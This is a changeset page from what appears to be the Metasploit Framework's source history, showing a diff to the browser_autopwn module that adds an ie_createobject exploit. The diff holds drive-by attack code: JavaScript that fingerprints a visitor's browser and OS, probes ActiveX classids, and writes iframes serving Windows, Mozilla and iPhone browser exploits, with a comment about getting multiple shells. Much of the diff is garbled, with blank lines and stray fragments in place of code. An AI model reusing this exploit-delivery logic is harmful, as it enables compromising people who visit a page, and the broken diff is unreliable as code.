Changeset 5573

Timestamp:

07/23/08 03:26:42 (3 months ago)

Author:

egypt

Message:

add ie_createobject to browser_autpwn

Files:

• framework3/trunk/modules/auxiliary/server/browser_autopwn.rb (modified) (14 diffs)

framework3/trunk/modules/auxiliary/server/browser_autopwn.rb

@@ -117 +117 @@
-                init_exploit('exploit/windows/browser/novelliprint_getdriversettings')
-
-
+
+
-                # I'm pretty sure keyframe works on everything this works on, but since
-                # this doesn't need javascript, try it anyway.
-                # does not require javascript
-                init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
+
+                # requires javascript
+                init_exploit('exploit/windows/browser/ie_createobject')
-
-                # I'm pretty sure keyframe works on everything this works on and more,
@@ -176 +180 @@
-                                record_detection(cli, request)
-                                send_not_found(cli)
-
+
+
-                                #
-                                # This is the request for exploits.  At this point we should at
@@ -220 +225 @@
-
-                objects = { 
+                        'DirectAnimation.PathControl'            => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource, 
-                        '{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource,
-                        '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource,
-
+
+
+
+
+
+
+
+
+
+
+
+
-                }
-                hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join.chop
-
-                js = <<-ENDJS
+
-                        #{js_os_detect}
-                        #{js_base64}
@@ -264 +282 @@
-                                url = Base64.encode(url);
-                                document.write(url + "<br>");
-/
+?
-                                xml.send(null);
-                        }
@@ -276 +294 @@
-
-                                if ("#{HttpClients::IE}" == detected_version.browser_name) {
-
+//
-                                        // object_list contains key-value pairs like 
-
+srv
-                                        //   and
-
+srv
-                                        var object_list = new Hash(#{hash_declaration});
-                                        var vuln_obj;
+                                        var written_frames = new Array();
-
-                                        // iterate through our list of exploits 
-
+//
-                                        for (var current_item in object_list.items) {
-                                                //document.write("Testing for object " + current_item + " ... ");
-
+
+
+
+
+
+
+
+
+
-                                                if (current_item.substring(0,1) == '{') {
+                                                        //document.write("which is a clasid <br />");
+
-                                                        // classids are stored surrounded in braces for an easy way to tell 
-                                                        // them from ActiveX object names, so if it has braces, strip them 
-                                                        // out and create an object element with that classid
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
-                                                } else {
-
+
+
-                                                        // otherwise, try to create an AXO with that name
-
-
-
+
-                                                }
+                                                // This doesn't bloody work.  vuln_obj is always something
+                                                // that evaluates to true but there doesn't seem to be any
+                                                // way of determining if it is actually an ActiveX object.
+                                                // Since we can't tell if it will work, we end up just sending
+                                                // all of the iframes; some of them don't work, some of them
+                                                // do and we get multiple shells.  Junior Varsity.
-                                                if (vuln_obj) {
-
-
-
-
-
-
+
+
+
+
-                                                } else {
-                                                        //document.write("It does NOT exist, skipping. <br />");
@@ -326 +348 @@
-                                } // if IE
-                                else {
-
+//
-                                        if (window.navigator.javaEnabled && window.navigator.javaEnabled()) {
-                                                sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_navigatorjava'].get_resource)}';
@@ -333 +355 @@
-                                                sploit_frame += '#{build_iframe(@exploits['exploit/multi/browser/mozilla_compareto'].get_resource)}';
-                                        }
+                                        // eventually this exploit will have an auto target and
+                                        // this check won't be necessary
-                                        if ("#{OperatingSystems::MAC_OSX}" == detected_version.os_name) {
-                                                if (location.QueryInterface) {
@@ -340 +364 @@
-                                }
-                                if (0 < sploit_frame.length) { 
-
+//
-                                        document.write(sploit_frame); 
-                                }
@@ -353 +377 @@
-                                        'object_list', 'vuln_obj', 
-                                        'obj_elem', 'sploit_frame',
+                                        'written_frames',
-                                        'detected_version'
-                                ],
@@ -366 +391 @@
-                js.update_opts(js_os_detect.opts)
-                js.update_opts(js_base64.opts)
-
+#
-
-                # Since ms03_020 works without javascript and we can guarantee with
-                # conditional comments that it won't eat resources in non-IE browsers,
-                # go ahead and send it with all responses in case our detection failed.
+                #
+                # commented this out so i can test other exploits
-                body = <<-ENDHTML
-                        <body id="#{js.sym('body_id')}">
-
+
+
-                        #{build_iframe(@exploits['exploit/windows/browser/ms03_020_ie_objecttype'].get_resource)}
-                        <![endif]-->
@@ -379 +407 @@
-
-                response.body = ' <html> <head> <title> Loading </title> '
-
-
-
+
+
+
+
+
+
+
-                case (get_target_os(cli))
-                        when OperatingSystems::WINDOWS
@@ -391 +423 @@
-                        when OperatingSystems::MAC_OSX
-                                if ('armle' == get_target_arch(cli))
+                                        # Then it's an iPhone
-                                        response.body << build_iframe(@exploits['exploit/osx/armle/safari_libtiff'].get_resource)
-                                end
@@ -399 +432 @@
-        end
-
+        # consider abstracting this out to a method (probably
+        # with a different name) of Auxiliary::Report or
+        # Exploit::Remote::HttpServer
-        def record_detection(cli, request)
-                os_name = nil
@@ -536 +572 @@
-
-        def build_iframe(resource)
-
-
+
+
+
+
-        end
-end